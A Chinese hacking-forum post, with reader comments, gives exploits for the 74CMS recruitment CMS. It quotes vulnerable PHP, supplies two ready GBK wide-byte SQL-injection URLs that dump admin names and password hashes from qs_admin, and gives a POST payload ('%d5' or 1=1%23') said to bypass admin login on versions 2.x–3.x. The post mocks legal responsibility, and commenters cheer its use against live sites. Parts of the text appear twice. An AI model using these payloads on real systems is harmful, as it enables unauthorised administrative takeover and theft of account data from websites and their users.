74CMS人才系统 v3.2 注射 & 全版本通杀进后台
因为某站用的这个系统 旁站也无从下手 所以就下了份源码来读
整套程序过滤的还是比较全面的 不过所有版本都是GBK编码是他的硬伤 但是基本上字符串入库的时候作者都使用了iconv来把提交过来的数据编码转换成utf8
所以利用宽字符注入就没办法了 但是过滤完善仅限3.2版本之前 最新的3.2版本plus目录多了几个文件 不知道是不是换了程序员了... 先上两个白痴注入吧~
注射1: \plus\ajax_officebuilding.php (16行)注射2: \plus\ajax_street.php (16行)EXP:
读过这程序的应该都知道有注入也是白搭 因为hash解不出来 我没仔细看他的密码加密方式 反正是多次加密的 试了十几个一个都没解出来....
所以得来点杀伤力大的 不然不是白搞了吗 随后批量搜索了一些危险函数 执行 变量覆盖 写文件神马的 都没什么好的发现 继续把目标转向后台 立马就笑嘻嘻了~~
\admin\admin_login.php (42行)继续追下check_admin函数: \admin\include\admin_common.fun.php (197行)再看看get_admin_one函数: \admin\include\admin_common.fun.php (237行)get_admin_one函数和check_admin函数都是直接就带入查询了 除了POST开头被addslashes函数过滤过一次 但是在宽字符面前这些都是浮云~~
so... 直接向 admin_login.php?act=do_login 构造以下POST语句就能直接进后台了~~ 当然前提你得有后台路径:
EXP测试:
测试了下2.x-3.x所有版本都能直接进后台 1.x没人用了 所以没测试 貌似这程序一直都是gbk版本 为啥这么久都没人发现呢 是没发现还是不发呢 = =
免跨省声明:
1. 以上所有言语非本人所写 也非本人所想 如果用于非法更与本人无关!
2. 以上所有工具非本人所写 也非本人所想 如果用于非法更与本人无关!
3. 本人由于被不明外星物种控制所以被迫"发表以上内容" 其内容并非本人本意!!
整套程序过滤的还是比较全面的 不过所有版本都是GBK编码是他的硬伤 但是基本上字符串入库的时候作者都使用了iconv来把提交过来的数据编码转换成utf8
所以利用宽字符注入就没办法了 但是过滤完善仅限3.2版本之前 最新的3.2版本plus目录多了几个文件 不知道是不是换了程序员了... 先上两个白痴注入吧~
注射1: \plus\ajax_officebuilding.php (16行)
if($act == 'alphabet')
{
$alphabet=trim($_GET['x']); //笑嘻嘻 肯定是换程序员了 不解释
if (!empty($alphabet))
{
$result = $db->query("select * from ".table('category')." where c_alias='QS_officebuilding' AND c_index='{$alphabet}' "); //笑嘻嘻
while($row = $db->fetch_array($result))
{
if ($listtype=="li")
{
$htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>";
}
else
{
$htm.="<li><a href=\"?officebuildingid={$row['c_id']}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>";
}
}
if (empty($htm))
{
$htm="<span class=\"noinfo\">没有找到首字母为:<span>{$alphabet}</span> 的写字楼!</span>";
}
$htm.="<script type=\"text/javascript\"> vtip();</script>";
exit($htm);
}
}
if($act == 'alphabet')
{
$alphabet=trim($_GET['x']); //几乎和上面一个注入一模一样的 不多说了
if (!empty($alphabet))
{
$result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_index='{$alphabet}' ");//笑嘻嘻
while($row = $db->fetch_array($result))
{
if ($listtype=="li")
{
$htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>";
}
else
{
$htm.="<li><a href=\"?streetid={$row['c_id']}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>";
}
}
if (empty($htm))
{
$htm="<span class=\"noinfo\">没有找到首字母为:<span>{$alphabet}</span> 的道路!</span>";
}
exit($htm);
}
}
1. plus/ajax_officebuilding.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_name,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23
2. plus/ajax_street.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_name,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23
读过这程序的应该都知道有注入也是白搭 因为hash解不出来 我没仔细看他的密码加密方式 反正是多次加密的 试了十几个一个都没解出来....
所以得来点杀伤力大的 不然不是白搞了吗 随后批量搜索了一些危险函数 执行 变量覆盖 写文件神马的 都没什么好的发现 继续把目标转向后台 立马就笑嘻嘻了~~
\admin\admin_login.php (42行)
elseif($act == 'do_login')
{
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : ''; //没过滤~~~
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$postcaptcha = isset($_POST['postcaptcha']) ? $_POST['postcaptcha'] : '';
$remember = isset($_POST['rememberme']) ? intval($_POST['rememberme']) : 0;
if($admin_name == '')
{
header("Location:?act=login&err=".urlencode('用户名不能为空'));
exit();
}
elseif($admin_pwd == '')
{
header("Location:?act=login&err=".urlencode('密码不能为空'));
exit();
}
$captcha=get_cache('captcha');
if(empty($postcaptcha) && $captcha['verify_adminlogin']=='1')
{
header("Location:?act=login&err=".urlencode('验证码不能为空'));
exit();
}
if ($captcha['verify_adminlogin']=='1' && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0)
{
write_log("<span style=\"color:#FF0000\">验证码填写错误</span>",$admin_name,2);
header("Location:?act=login&err=".urlencode('验证码填写错误'));
exit();
}
elseif(check_admin($admin_name,$admin_pwd)) //关键函数 直接带入进去了
{
update_admin_info($admin_name);
write_log("成功登录",$admin_name);
if($remember == 1)
{
$admininfo=get_admin_one($admin_name);
setcookie('Qishi[admin_id]', $_SESSION['admin_id'], time()+86400, $QS_cookiepath, $QS_cookiedomain);
setcookie('Qishi[admin_name]', $admin_name, time()+86400, $QS_cookiepath, $QS_cookiedomain);
setcookie('Qishi[admin_pwd]', md5($admin_name.$admininfo['pwd'].$admininfo['pwd_hash'].$QS_pwdhash), time()+86400, $QS_cookiepath, $QS_cookiedomain);
}
}
else
{
write_log("<span style=\"color:#FF0000\">用户名或密码错误</span>",$admin_name,2);
header("Location:?act=login&err=".urlencode('用户名或密码错误'));
exit();
}
header("Location: admin_index.php");
}
function check_admin($name,$pwd)
{
global $db,$QS_pwdhash;
$admin=get_admin_one($name); //先把程序name带入了这个函数进行了一次查询
$md5_pwd=md5($pwd.$admin['pwd_hash'].$QS_pwdhash);
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd ='".$md5_pwd."' "); //继续查询
if($row['num'] > 0){
return true;
}else{
return false;
}
}
function get_admin_one($username){
global $db;
$sql = "select * from ".table('admin')." where admin_name = '".$username."' LIMIT 1"; //同样直接查询了
return $db->getone($sql);
}
so... 直接向 admin_login.php?act=do_login 构造以下POST语句就能直接进后台了~~ 当然前提你得有后台路径:
admin_name=fuckyou%d5' or 1=1%23&admin_pwd=1
EXP测试:
测试了下2.x-3.x所有版本都能直接进后台 1.x没人用了 所以没测试 貌似这程序一直都是gbk版本 为啥这么久都没人发现呢 是没发现还是不发呢 = =
免跨省声明:
1. 以上所有言语非本人所写 也非本人所想 如果用于非法更与本人无关!
2. 以上所有工具非本人所写 也非本人所想 如果用于非法更与本人无关!
3. 本人由于被不明外星物种控制所以被迫"发表以上内容" 其内容并非本人本意!!
评论57次
肉丝出品,必属精品
这个改了后台就不行了
膜拜rice牛!!
代码牛。
肯定是不发了啊
GBK编码惹的货。这个74CMS写的真烂,基本不设防嘛
膜拜,细细的看了一遍
宽字符。 不会。。。。。
果然牛啊。。 学xi了。
你的网站蛋疼的!!!
学xi了 楼主是大牛啊
大牛每次都带来惊喜、!!!
以后牛哥们都用这么给力的exp,我等小菜就有福了
测试了下 现在有很多站都打补丁了
玩烂了现在! 杀不进去了
牛人啊,只有膜拜的份
Rices出的exp每次都很给力
学xi了 呵呵
声明吊爆了
凤姐牛逼啊